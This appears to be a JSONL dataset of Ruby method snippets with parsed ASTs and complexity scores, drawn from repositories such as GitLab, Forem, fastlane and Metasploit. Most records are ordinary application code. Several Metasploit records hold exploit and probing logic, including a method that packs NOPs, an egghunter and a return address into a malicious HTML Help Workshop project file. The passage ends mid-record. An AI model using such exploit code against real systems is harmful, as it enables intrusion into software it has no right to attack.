{"repo_name":"dawarich","file_path":"./repos/dawarich/app/services/visits/create.rb","start_line":54,"raw_source":"def create_new_place\n      place_name = params[:name]\n      lat_f = params[:latitude].to_f\n      lon_f = params[:longitude].to_f\n\n      place = Place.create!(\n        name: place_name,\n        latitude: lat_f,\n        longitude: lon_f,\n        lonlat: \"POINT(#{lon_f} #{lat_f})\",\n        source: :manual\n      )\n\n      place\n    rescue StandardError => e\n      ExceptionReporter.call(e, \"Failed to create place: #{e.message}\")\n      nil\n    end","complexity_score":21.5,"ast_json":"{\"type\":\"def\",\"children\":[\"create_new_place\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"place_name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"lat_f\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"latitude\"]}]},\"to_f\"]}]},{\"type\":\"lvasgn\",\"children\":[\"lon_f\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"longitude\"]}]},\"to_f\"]}]},{\"type\":\"lvasgn\",\"children\":[\"place\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Place\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"place_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"latitude\"]},{\"type\":\"lvar\",\"children\":[\"lat_f\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"longitude\"]},{\"type\":\"lvar\",\"children\":[\"lon_f\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"lonlat\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"POINT(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lon_f\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lat_f\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source\"]},{\"type\":\"sym\",\"children\":[\"manual\"]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"place\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ExceptionReporter\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"e\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Failed to create place: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]},{\"type\":\"nil\",\"children\":[]}]}]},null]}]}","id":"7eba48e7-92ac-42b3-a975-aa2a1ed83c1d"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/ibm_drm_rce.rb","start_line":75,"raw_source":"def check\n    # at the moment there is no better way to detect AND be stealthy about it\n    session_id = rand_text_alpha(5..12)\n    res = send_request_cgi({\n      'uri' => normalize_uri(target_uri.path, 'albatross', 'saml', 'idpSelection'),\n      'method' => 'GET',\n      'vars_get' => {\n        'id' => session_id,\n        'userName' => 'admin'\n      }\n    })\n    if res && (res.code == 302) &&\n       res.headers['Location'].include?('localhost:8765') &&\n       res.headers['Location'].include?('saml/idpSelection')\n      return Exploit::CheckCode::Detected\n    end\n\n    Exploit::CheckCode::Unknown\n  end","complexity_score":24.45,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"session_id\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[5]},{\"type\":\"int\",\"children\":[12]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"albatross\"]},{\"type\":\"str\",\"children\":[\"saml\"]},{\"type\":\"str\",\"children\":[\"idpSelection\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_get\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"session_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"userName\"]},{\"type\":\"str\",\"children\":[\"admin\"]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[302]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Location\"]}]},\"include?\",{\"type\":\"str\",\"children\":[\"localhost:8765\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Location\"]}]},\"include?\",{\"type\":\"str\",\"children\":[\"saml/idpSelection\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Detected\"]}]},null]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Unknown\"]}]}]}","id":"0f1c81e3-72ae-41f1-97ec-7b7521f508c0"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/gym/lib/gym/error_handler.rb","start_line":183,"raw_source":"def print_xcode_version\n        # lots of the times, the user didn't set the correct Xcode version to their Xcode path\n        # since many users don't look at the table of summary before running a tool, let's make\n        # sure they are aware of the Xcode version and SDK they're using\n        values = {\n          xcode_path: File.expand_path(\"../..\", FastlaneCore::Helper.xcode_path),\n          gym_version: Fastlane::VERSION,\n          export_method: Gym.config[:export_method]\n        }\n\n        sdk_path = Gym.project.build_settings(key: \"SDKROOT\")\n        values[:sdk] = File.basename(sdk_path) if sdk_path.to_s.length > 0\n\n        FastlaneCore::PrintTable.print_values(config: values,\n                                           hide_keys: [],\n                                               title: \"Build environment\".yellow)\n      end","complexity_score":17.6,"ast_json":"{\"type\":\"def\",\"children\":[\"print_xcode_version\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"values\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"xcode_path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"expand_path\",{\"type\":\"str\",\"children\":[\"../..\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"Helper\"]},\"xcode_path\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"gym_version\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fastlane\"]},\"VERSION\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"export_method\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gym\"]},\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"export_method\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"sdk_path\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gym\"]},\"project\"]},\"build_settings\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"str\",\"children\":[\"SDKROOT\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sdk_path\"]},\"to_s\"]},\"length\"]},\">\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"sdk\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"basename\",{\"type\":\"lvar\",\"children\":[\"sdk_path\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"PrintTable\"]},\"print_values\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"config\"]},{\"type\":\"lvar\",\"children\":[\"values\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"hide_keys\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"Build environment\"]},\"yellow\"]}]}]}]}]}]}","id":"726944cf-dc4e-4f3a-9d98-c28ff4b3c760"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/modules/external/bridge.rb","start_line":180,"raw_source":"def initialize(module_path, framework: nil)\n    super\n    pythonpath = ENV['PYTHONPATH'] || ''\n    self.env = self.env.merge({ 'PYTHONPATH' => File.expand_path('../python', __FILE__) + File::PATH_SEPARATOR + pythonpath})\n  end","complexity_score":10.5,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"module_path\"]},{\"type\":\"kwoptarg\",\"children\":[\"framework\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"lvasgn\",\"children\":[\"pythonpath\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PYTHONPATH\"]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"env=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"env\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PYTHONPATH\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"expand_path\",{\"type\":\"str\",\"children\":[\"../python\"]},{\"type\":\"str\",\"children\":[\"(method)\"]}]},\"+\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"PATH_SEPARATOR\"]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"pythonpath\"]}]}]}]}]}]}]}]}","id":"581f95da-a898-4fc9-bb7b-83ae7ab8ae51"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/projects/autocomplete_sources_controller.rb","start_line":38,"raw_source":"def commands\n    render json: autocomplete_service.commands(target)\n  end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"commands\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"autocomplete_service\"]},\"commands\",{\"type\":\"send\",\"children\":[null,\"target\"]}]}]}]}]}]}","id":"60835dad-0870-40f0-a36e-ddcf15bb5750"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/api/helpers/snippets_helpers.rb","start_line":94,"raw_source":"def validate_params_for_multiple_files(snippet)\n      return unless params[:content] || params[:file_name]\n\n      if snippet.multiple_files?\n        render_api_error!({ error: _('To update Snippets with multiple files, you must use the `files` parameter') }, 400)\n      end\n    end","complexity_score":11.53,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_params_for_multiple_files\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"snippet\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"content\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"file_name\"]}]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"snippet\"]},\"multiple_files?\"]},{\"type\":\"send\",\"children\":[null,\"render_api_error!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"To update Snippets with multiple files, you must use the `files` parameter\"]}]}]}]},{\"type\":\"int\",\"children\":[400]}]},null]}]}]}","id":"bf92b675-b55e-4860-8c96-303eff1dfc31"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/vxworks/urgent11_check.rb","start_line":167,"raw_source":"def tcp_malformed_options_detection(sock, ip, port)\n    pkt = PacketFu::TCPPacket.new(config: @config)\n\n    # IP destination address\n    pkt.ip_daddr = ip\n\n    # TCP SYN with malformed options\n    pkt.tcp_dst = port\n    pkt.tcp_flags.syn = 1\n    pkt.tcp_opts = [2, 4, 1460].pack('CCn') + # MSS\n                   [1].pack('C') +            # NOP\n                   [3, 2].pack('CC') +        # WSCALE with invalid length\n                   [3, 3, 0].pack('CCC')      # WSCALE with valid length\n    pkt.recalc\n\n    res = nil\n\n    datastore['RetransmissionRate'].times do\n      pkt.to_w\n      res = inject_reply(:tcp)\n\n      break unless res\n    end\n\n    unless res\n      return @vxworks_score = 0,\n             @ipnet_score = 50\n    end\n\n    if res.tcp_flags.rst == 1 &&\n       res.tcp_dst == pkt.tcp_src && res.tcp_dst == pkt.tcp_src\n\n      return @vxworks_score = 100,\n             @ipnet_score = 100\n    end\n\n    return @vxworks_score = -100,\n           @ipnet_score = -100\n  end","complexity_score":55.4,"ast_json":"{\"type\":\"def\",\"children\":[\"tcp_malformed_options_detection\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sock\"]},{\"type\":\"arg\",\"children\":[\"ip\"]},{\"type\":\"arg\",\"children\":[\"port\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"pkt\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PacketFu\"]},\"TCPPacket\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"config\"]},{\"type\":\"ivar\",\"children\":[\"@config\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt\"]},\"ip_daddr=\",{\"type\":\"lvar\",\"children\":[\"ip\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt\"]},\"tcp_dst=\",{\"type\":\"lvar\",\"children\":[\"port\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt\"]},\"tcp_flags\"]},\"syn=\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt\"]},\"tcp_opts=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[2]},{\"type\":\"int\",\"children\":[4]},{\"type\":\"int\",\"children\":[1460]}]},\"pack\",{\"type\":\"str\",\"children\":[\"CCn\"]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[1]}]},\"pack\",{\"type\":\"str\",\"children\":[\"C\"]}]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[3]},{\"type\":\"int\",\"children\":[2]}]},\"pack\",{\"type\":\"str\",\"children\":[\"CC\"]}]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[3]},{\"type\":\"int\",\"children\":[3]},{\"type\":\"int\",\"children\":[0]}]},\"pack\",{\"type\":\"str\",\"children\":[\"CCC\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt\"]},\"recalc\"]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RetransmissionRate\"]}]},\"times\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt\"]},\"to_w\"]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"inject_reply\",{\"type\":\"sym\",\"children\":[\"tcp\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},null,{\"type\":\"break\",\"children\":[]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@vxworks_score\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"ivasgn\",\"children\":[\"@ipnet_score\",{\"type\":\"int\",\"children\":[50]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"tcp_flags\"]},\"rst\"]},\"==\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"tcp_dst\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt\"]},\"tcp_src\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"tcp_dst\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt\"]},\"tcp_src\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@vxworks_score\",{\"type\":\"int\",\"children\":[100]}]},{\"type\":\"ivasgn\",\"children\":[\"@ipnet_score\",{\"type\":\"int\",\"children\":[100]}]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@vxworks_score\",{\"type\":\"int\",\"children\":[-100]}]},{\"type\":\"ivasgn\",\"children\":[\"@ipnet_score\",{\"type\":\"int\",\"children\":[-100]}]}]}]}]}","id":"57109948-7cb2-45e9-9e5a-7fe7d640ed60"}
{"repo_name":"forem","file_path":"./repos/forem/app/services/community_bots/create_bot.rb","start_line":138,"raw_source":"def download_logo_as_file(logo_url)\n      require \"open-uri\"\n      require \"tempfile\"\n\n      begin\n        # Download the logo\n        downloaded_image = URI.open(logo_url)\n\n        # Create a temp file with the correct extension\n        tempfile = Tempfile.new([\"bot_logo\", \".png\"])\n        tempfile.binmode\n        tempfile.write(downloaded_image.read)\n        tempfile.rewind\n\n        # Create a file object that can be used by the uploader\n        uploaded_file = Rack::Test::UploadedFile.new(tempfile.path, \"image/png\")\n\n        # Clean up the tempfile after the upload is complete\n        tempfile.close\n        tempfile.unlink\n\n        uploaded_file\n      rescue StandardError => e\n        Rails.logger.error(\"Failed to download subforem logo for bot: #{e.message}\")\n        # Let the User model handle profile image generation through its normal flow\n        nil\n      end\n    end","complexity_score":23.8,"ast_json":"{\"type\":\"def\",\"children\":[\"download_logo_as_file\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"logo_url\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"require\",{\"type\":\"str\",\"children\":[\"open-uri\"]}]},{\"type\":\"send\",\"children\":[null,\"require\",{\"type\":\"str\",\"children\":[\"tempfile\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"downloaded_image\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"URI\"]},\"open\",{\"type\":\"lvar\",\"children\":[\"logo_url\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"tempfile\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Tempfile\"]},\"new\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"bot_logo\"]},{\"type\":\"str\",\"children\":[\".png\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tempfile\"]},\"binmode\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tempfile\"]},\"write\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"downloaded_image\"]},\"read\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tempfile\"]},\"rewind\"]},{\"type\":\"lvasgn\",\"children\":[\"uploaded_file\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rack\"]},\"Test\"]},\"UploadedFile\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tempfile\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"image/png\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tempfile\"]},\"close\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tempfile\"]},\"unlink\"]},{\"type\":\"lvar\",\"children\":[\"uploaded_file\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Failed to download subforem logo for bot: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]},{\"type\":\"nil\",\"children\":[]}]}]},null]}]}]}]}","id":"dc066288-ef30-4ffd-928a-f2993831a646"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-reactions/app/controllers/discourse_reactions/custom_reactions_controller.rb","start_line":261,"raw_source":"def post_serializer(post)\n    PostSerializer.new(post, scope: guardian, root: false)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"post_serializer\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"post\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PostSerializer\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"post\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scope\"]},{\"type\":\"send\",\"children\":[null,\"guardian\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"root\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}","id":"e5a32a60-1167-44b8-89b0-6d806fee74e6"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/fileformat/hhw_hhp_indexfile_bof.rb","start_line":61,"raw_source":"def exploit\n    # use the egghunter!\n    eh_stub, eh_egg = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true })\n\n    off = target['Offset']\n    idxf = \"\"\n    idxf << make_nops(off - eh_stub.length)\n    idxf << eh_stub\n    idxf << [target.ret].pack('V')\n\n    sploit = \"[OPTIONS]\\r\\n\"\n    sploit << \"Index file=\"\n    sploit << idxf\n    sploit << \"\\r\\n\"\n    sploit << \"\\r\\n\"\n    sploit << \"[FILES]\\r\\n\"\n    sploit << \"\\r\\n\"\n    sploit << eh_egg\n\n    hhp = sploit\n\n    print_status(\"Creating '#{datastore['FILENAME']}' file ...\")\n\n    file_create(hhp)\n  end","complexity_score":37.0,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"eh_stub\"]},{\"type\":\"lvasgn\",\"children\":[\"eh_egg\"]}]},{\"type\":\"send\",\"children\":[null,\"generate_egghunter\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]},{\"type\":\"send\",\"children\":[null,\"payload_badchars\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"checksum\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"off\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Offset\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"idxf\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"idxf\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"make_nops\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"off\"]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"eh_stub\"]},\"length\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"idxf\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"eh_stub\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"idxf\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"ret\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"sploit\",{\"type\":\"str\",\"children\":[\"[OPTIONS]\\r\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sploit\"]},\"<<\",{\"type\":\"str\",\"children\":[\"Index 